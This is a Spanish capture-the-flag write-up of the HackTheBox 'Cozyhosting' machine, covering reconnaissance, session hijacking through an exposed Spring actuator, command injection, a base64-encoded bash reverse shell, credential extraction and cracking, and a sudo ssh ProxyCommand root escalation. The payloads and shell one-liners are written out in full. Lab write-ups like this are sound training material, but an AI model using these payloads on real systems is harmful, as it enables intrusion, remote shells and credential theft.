Cozyhosting
Cozyhosting Linux · Easy - Adventure mode
🔭 Reconocimiento:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(pmartinezr㉿kali)-[~]
└─$ nmap -p- -sSVC --min-rate 5000 10.129.9.149
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 21:26 +0100
Nmap scan report for 10.129.9.149
Host is up (0.049s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.69 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
└─$ dirsearch -u http://cozyhosting.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/pmartinezr/htb/cozyhosting/reports/http_cozyhosting.htb/_26-02-15_21-43-15.txt
Target: http://cozyhosting.htb/
[21:43:15] Starting:
[21:43:26] 200 - 0B - /;admin/
[21:43:26] 200 - 0B - /;/login
[21:43:26] 200 - 0B - /;/admin
[21:43:26] 200 - 0B - /;/json
[21:43:26] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[21:43:26] 200 - 0B - /;login/
[21:43:26] 200 - 0B - /;json/
[21:43:28] 400 - 435B - /a%5c.aspx
[21:43:29] 200 - 0B - /actuator/;/caches
[21:43:29] 200 - 0B - /actuator/;/auditLog
[21:43:29] 200 - 0B - /actuator/;/beans
[21:43:29] 200 - 0B - /actuator/;/conditions
[21:43:29] 200 - 0B - /actuator/;/configurationMetadata
[21:43:29] 200 - 0B - /actuator/;/auditevents
[21:43:29] 200 - 0B - /actuator/;/configprops
[21:43:29] 200 - 0B - /actuator/;/dump
[21:43:29] 200 - 0B - /actuator/;/jolokia
[21:43:29] 200 - 0B - /actuator/;/scheduledtasks
[21:43:29] 200 - 0B - /actuator/;/registeredServices
[21:43:29] 200 - 0B - /actuator/;/resolveAttributes
[21:43:29] 200 - 0B - /actuator/;/integrationgraph
[21:43:29] 200 - 0B - /actuator/;/heapdump
[21:43:29] 200 - 0B - /actuator/;/httptrace
[21:43:29] 200 - 0B - /actuator/;/refresh
[21:43:29] 200 - 0B - /actuator/;/features
[21:43:29] 200 - 0B - /actuator/;/healthcheck
[21:43:29] 200 - 0B - /actuator/;/metrics
[21:43:29] 200 - 0B - /actuator/;/loggingConfig
[21:43:29] 200 - 0B - /actuator/;/liquibase
[21:43:29] 200 - 0B - /actuator/;/loggers
[21:43:29] 200 - 0B - /actuator/;/health
[21:43:29] 200 - 0B - /actuator/;/logfile
[21:43:29] 200 - 0B - /actuator/;/prometheus
[21:43:29] 200 - 0B - /actuator/;/releaseAttributes
[21:43:29] 200 - 0B - /actuator/;/flyway
[21:43:29] 200 - 0B - /actuator/;/mappings
[21:43:29] 200 - 0B - /actuator/;/env
[21:43:29] 200 - 0B - /actuator/;/exportRegisteredServices
[21:43:29] 200 - 0B - /actuator/;/events
[21:43:29] 200 - 0B - /actuator/;/info
[21:43:29] 200 - 634B - /actuator
[21:43:29] 200 - 0B - /actuator/;/sessions
[21:43:29] 200 - 0B - /actuator/;/shutdown
[21:43:29] 200 - 0B - /actuator/;/springWebflow
[21:43:29] 200 - 0B - /actuator/;/ssoSessions
[21:43:29] 200 - 0B - /actuator/;/sso
[21:43:29] 200 - 0B - /actuator/;/statistics
[21:43:29] 200 - 0B - /actuator/;/threaddump
[21:43:29] 200 - 0B - /actuator/;/status
[21:43:29] 200 - 0B - /actuator/;/trace
[21:43:30] 200 - 98B - /actuator/sessions
[21:43:30] 200 - 5KB - /actuator/env
[21:43:30] 200 - 15B - /actuator/health
[21:43:30] 200 - 10KB - /actuator/mappings
[21:43:30] 200 - 124KB - /actuator/beans
[21:43:31] 401 - 97B - /admin
[21:43:31] 200 - 0B - /admin/%3bindex/
[21:43:33] 200 - 0B - /Admin;/
[21:43:33] 200 - 0B - /admin;/
[21:43:43] 200 - 0B - /axis2-web//HappyAxis.jsp
[21:43:43] 200 - 0B - /axis//happyaxis.jsp
[21:43:43] 200 - 0B - /axis2//axis2-web/HappyAxis.jsp
[21:43:47] 200 - 0B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js
[21:43:55] 200 - 0B - /engine/classes/swfupload//swfupload.swf
[21:43:55] 200 - 0B - /engine/classes/swfupload//swfupload_f9.swf
[21:43:55] 500 - 73B - /error
[21:43:56] 200 - 0B - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[21:43:56] 200 - 0B - /extjs/resources//charts.swf
[21:44:02] 200 - 0B - /html/js/misc/swfupload//swfupload.swf
[21:44:05] 200 - 0B - /jkstatus;
[21:44:08] 200 - 4KB - /login
[21:44:08] 200 - 0B - /login.wdm%2e
[21:44:09] 204 - 0B - /logout
[21:44:09] 500 - 110B - /logou.php
Task Completed
Dirseach encuentra varios directorios interesantes
El directorio /actuator/mappings, nos muestra algunas rutas intersantes como /admin
En uno de los directorios que encontramos con Dirseach /actuators/sessions descubrimos un usuario y un hash.
Si comparamos ambos hashes nos daremos cuenta de que es la cookie de session, por lo que podemos intentar session hijacking (suplantar la sesión)
Modificando en el navegado la cookie de sesión por la que hemos visto, podemos acceder a /admin suplantando la sesión de kardenson
En este punto toca jugar con el formulario, intentamos inyectar código para testear si tenemos algún RCE.
1
test;ping${IFS}-c${IFS}1${IFS}10.10.14.74
Por ejemplo este payload, hará que recibamos un ping desde cozyhosting.htb.
1
2
3
4
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:05:48.744658 IP cozyhosting.htb > 10.10.14.74: ICMP echo request, id 8, seq 1, length 64
11:05:48.744686 IP 10.10.14.74 > cozyhosting.htb: ICMP echo reply, id 8, seq 1, length 64
Lo compruebo con tcpdump y corroboramos que tenemos un RCE.
1
2
3
┌──(pmartinezr㉿kali)-[~/htb/cozyhosting]
└─$ echo "bash -i >& /dev/tcp/10.10.14.74/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43NC80NDQ0IDA+JjEK
Tras varias pruebas consigo elaborar un payload que encodeado con base64 y no dejando espacios en el comando, conseguimos una shell inicial
👽 Acciones:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar
app@cozyhosting:/tmp/cloudhosting/META-INF$ grep -r passw
app@cozyhosting:/tmp/cloudhosting/META-INF$ cd ..
app@cozyhosting:/tmp/cloudhosting$ grep -r passw
grep: cloudhosting-0.0.1.jar: binary file matches
grep: BOOT-INF/lib/spring-security-crypto-6.0.1.jar: binary file matches
grep: BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.ttf: binary file matches
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-fill:before { content: "\eecf"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-line:before { content: "\eed0"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg: <glyph glyph-name="lock-password-fill"
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg: <glyph glyph-name="lock-password-line"
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-fill:before { content: "\eecf"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-line:before { content: "\eed0"; }
grep: BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.eot: binary file matches
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-fill">
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-line">
BOOT-INF/classes/templates/login.html: <input type="password" name="password" class="form-control" id="yourPassword"
BOOT-INF/classes/templates/login.html: <div class="invalid-feedback">Please enter your password!</div>
BOOT-INF/classes/templates/login.html: <p th:if="${param.error}" class="text-center small">Invalid username or password</p>
BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR
grep: BOOT-INF/classes/htb/cloudhosting/database/CozyUser.class: binary file matches
grep: BOOT-INF/classes/htb/cloudhosting/secutiry/SecurityConfig.class: binary file matches
grep: BOOT-INF/classes/htb/cloudhosting/scheduled/FakeUser.class: binary file matches
Copio la aplicación cloudhosting-0.0.1.jar a una carpeta para echarle una ojeada. Investigas la aplicación y aparece una password Vg&nvzAQ7XxR.
1
2
3
4
5
6
7
8
9
10
app@cozyhosting:/tmp/cloudhosting/META-INF$ ss -putonal
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
tcp LISTEN 0 100 [::ffff:127.0.0.1]:8080 *:* users:(("java",pid=1012,fd=19))
tcp LISTEN 0 128 [::]:22 [::]:*
El puerto 5432 por defecto es de Postgresql
1
2
3
4
5
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
Nos conectamos a este Postgres con la password que contramoa anteriormente y sacamos unos hashes.
1
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited
Hashcat obtiene la primera contraseña manchesterunited, que por cierto sale en otro reto de HTB.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ ssh josh@cozyhosting.htb
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Sorry, try again.
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
josh@cozyhosting:~$ sudo ssh josh@localhost /bin/sh
josh@localhost's password:
josh@cozyhosting:~sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x x
# whoami
root
La password se reutiliza con un usuario que estaba en /home/josh, y la escalada es muy sencilla https://gtfobins.org/gtfobins/ssh/